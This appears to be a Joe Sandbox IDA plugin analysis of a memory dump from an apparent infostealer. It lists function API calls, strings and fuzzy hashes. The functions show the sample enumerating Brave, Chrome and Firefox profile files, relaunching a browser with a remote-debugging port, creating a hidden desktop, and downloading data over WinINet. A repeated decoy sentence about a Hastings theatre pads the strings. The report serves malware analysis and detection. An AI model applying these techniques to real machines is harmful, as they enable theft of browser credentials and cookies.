The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007846D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00784728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00784779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007846A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00784784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0078471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00784712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007847C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00784617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007847AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0078478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007846B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00784707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00784638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00784622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00784688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00784643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00784763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0078479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0078467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0078476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0078462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007846C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007846FC

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 1396fc772fa99d132903570bfc49dbc223a9882088929ce974c943f78e84eb0a
Instruction ID: f85a8ae6ab786cd03a3ecb44a5515c1a1c72fbd8aa9f2903963a227b7fcd6c30
Opcode Fuzzy Hash: 1396fc772fa99d132903570bfc49dbc223a9882088929ce974c943f78e84eb0a
Instruction Fuzzy Hash: 7D4100B5640604FFD710DFE8EC4E99D7B70EB8A702B208142F50A99190D7FC56869BB9

Function 0078BE40 Relevance: 67.2, APIs: 29, Strings: 9, Instructions: 727
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

FindFirstFileA.KERNEL32(00000000,?,007A0B32,007A0B2F,00000000,?,?,?,007A1450,007A0B2E), ref: 0078BEC5
StrCmpCA.SHLWAPI(?,007A1454), ref: 0078BF33
StrCmpCA.SHLWAPI(?,007A1458), ref: 0078BF49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0078C8A9
FindClose.KERNEL32(000000FF), ref: 0078C8BB

Strings

X, xrefs: 0078C147, 0078C5B5
--remote-debugging-port=9229 --profile-directory=", xrefs: 0078C3B2
p, xrefs: 0078C2C5
--remote-debugging-port=9229 --profile-directory=", xrefs: 0078C495
--remote-debugging-port=9229 --profile-directory=", xrefs: 0078C534
Preferences, xrefs: 0078C104
Brave, xrefs: 0078C0E8
\Brave\Preferences, xrefs: 0078C1C1
Google Chrome, xrefs: 0078C6F8

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$Brave$Google Chrome$Preferences$X$\Brave\Preferences$p
API String ID: 3334442632-1402097512
Opcode ID: 8f7f037a26c9140b403839cf07618994f3d7b2d5aba7c71c9c1216ee79f2530e
Instruction ID: 0ed2b73f028be138a100589c9f97585aa77d6602d7f79948511f3d52728a2471
Opcode Fuzzy Hash: 8f7f037a26c9140b403839cf07618994f3d7b2d5aba7c71c9c1216ee79f2530e
Instruction Fuzzy Hash: 445216B2551108EBCF14FB60ED9AEEE733DAF54301F404598B50A66091EE385B49CFE6

Function 00794B60 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00794B7C
FindFirstFileA.KERNEL32(?,?), ref: 00794B93
StrCmpCA.SHLWAPI(?,007A0FC4), ref: 00794BC1
StrCmpCA.SHLWAPI(?,007A0FC8), ref: 00794BD7
FindNextFileA.KERNEL32(000000FF,?), ref: 00794DCD
FindClose.KERNEL32(000000FF), ref: 00794DE2

Strings

%s\*, xrefs: 00794B70
%s\%s, xrefs: 00794C4B
%s\%s, xrefs: 00794BF4
-Sy, xrefs: 00794DE8, 00794DAB, 00794D54, 00794BA8, 00794D57, 00794DAE

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$-Sy
API String ID: 180737720-980895679
Opcode ID: 92d2f0749ab6e9bfcfa954ff05d7a13ea4cab563a59505566ddca7f8dc55f4a7
Instruction ID: ec244477e4ccc85fd503e2e106ee991ceb4d6943a0968fb05d8be01951527764
Opcode Fuzzy Hash: 92d2f0749ab6e9bfcfa954ff05d7a13ea4cab563a59505566ddca7f8dc55f4a7
Instruction Fuzzy Hash: E0612DB1504218ABCF24EBE0EC49FEE737CBB49701F404688F609A6151EB75AB85CF91

Function 00789E30 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 157stringsleepprocessCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00789E47

Part of subcall function 00798CF0: GetSystemTime.KERNEL32(?,00EDC770,007A05B6,?,?,?,?,?,?,?,?,?,007849B3,?,00000014), ref: 00798D16

wsprintfA.USER32 ref: 00789E7F
OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 00789EA3
CreateDesktopA.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00789ECC
memset.MSVCRT ref: 00789EED
lstrcatA.KERNEL32(00000000,?), ref: 00789F03
lstrcatA.KERNEL32(00000000,?), ref: 00789F17
lstrcatA.KERNEL32(00000000,007A12D8), ref: 00789F29
memset.MSVCRT ref: 00789F3D
lstrcpy.KERNEL32(?,00000000), ref: 00789F7C
memset.MSVCRT ref: 00789F9C
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,00000000), ref: 0078A004
Sleep.KERNEL32(00001388), ref: 0078A013
CloseDesktop.USER32(00000000), ref: 0078A060

Strings

D, xrefs: 00789FA4

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: memset$Desktoplstrcat$Create$CloseOpenProcessSleepSystemTimelstrcpywsprintf
String ID: D
API String ID: 1347862506-2746444292
Opcode ID: a5256f24a17c1170e2f655c753cb88fc4c72c759ad4828c0bbbf800f77e79bd1
Instruction ID: 91e6098bd600903c06b860af65d9f81ee30760d902e75d9a294630d10631e820
Opcode Fuzzy Hash: a5256f24a17c1170e2f655c753cb88fc4c72c759ad4828c0bbbf800f77e79bd1
Instruction Fuzzy Hash: DC5182B1944308EBEB20DBA4DC4AFDD7778BB44701F044598F60DAA2D1EB79AA84CF51

Function 007940F0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00794113
FindFirstFileA.KERNEL32(?,?), ref: 0079412A
StrCmpCA.SHLWAPI(?,007A0F94), ref: 00794158
StrCmpCA.SHLWAPI(?,007A0F98), ref: 0079416E
FindNextFileA.KERNEL32(000000FF,?), ref: 007942BC
FindClose.KERNEL32(000000FF), ref: 007942D1

Strings

%s\%s, xrefs: 00794107

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 14798254f74c7f5c2258a8028d3a02ed407d112a32ac0c45a8477347e2df743f
Instruction ID: 9e62cb9d0e65fb71fbc9986c58c791bd86a101abc4fff20fb0eb003530617c4c
Opcode Fuzzy Hash: 14798254f74c7f5c2258a8028d3a02ed407d112a32ac0c45a8477347e2df743f
Instruction Fuzzy Hash: BA5149F1504218EBCF24EBB0ED59EEE737CBB54301F444688B609A6050DB75AB85CF95

Function 0078F7B0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,007A16B0,007A0D97), ref: 0078F81E
StrCmpCA.SHLWAPI(?,007A16B4), ref: 0078F86F
StrCmpCA.SHLWAPI(?,007A16B8), ref: 0078F885
FindNextFileA.KERNELBASE(000000FF,?), ref: 0078FBB1
FindClose.KERNEL32(000000FF), ref: 0078FBC3

Strings

X, xrefs: 0078F93C
prefs.js, xrefs: 0078F912

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: X$prefs.js
API String ID: 3334442632-1409909325
Opcode ID: 1d65f988bace4c7df73a6c90b0febb7f28a7587fa2613bdb8c0d5b2ff7e29715
Instruction ID: 9724507a5624c125e16bc583ee3c12350291d08d2374a211cef708cc2e608940
Opcode Fuzzy Hash: 1d65f988bace4c7df73a6c90b0febb7f28a7587fa2613bdb8c0d5b2ff7e29715
Instruction Fuzzy Hash: 74B11271A01218EBCF24FF64ED9AEED7379AF55300F4085A8E40A56151EF386B49CBD2

Function 00785000 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0078501A
RtlAllocateHeap.NTDLL(00000000), ref: 00785021
InternetOpenA.WININET(007A0DE3,00000000,00000000,00000000,00000000), ref: 0078503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00785061
InternetReadFile.WININET(+ay,?,00000400,00000000), ref: 00785091
memcpy.MSVCRT(00000000,?,00000001), ref: 007850DA
InternetCloseHandle.WININET(+ay), ref: 00785109
InternetCloseHandle.WININET(?), ref: 00785116

Strings

+ay, xrefs: 00785105, 0078508D, 00785090, 00785108
+ay, xrefs: 00785051, 00785134

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
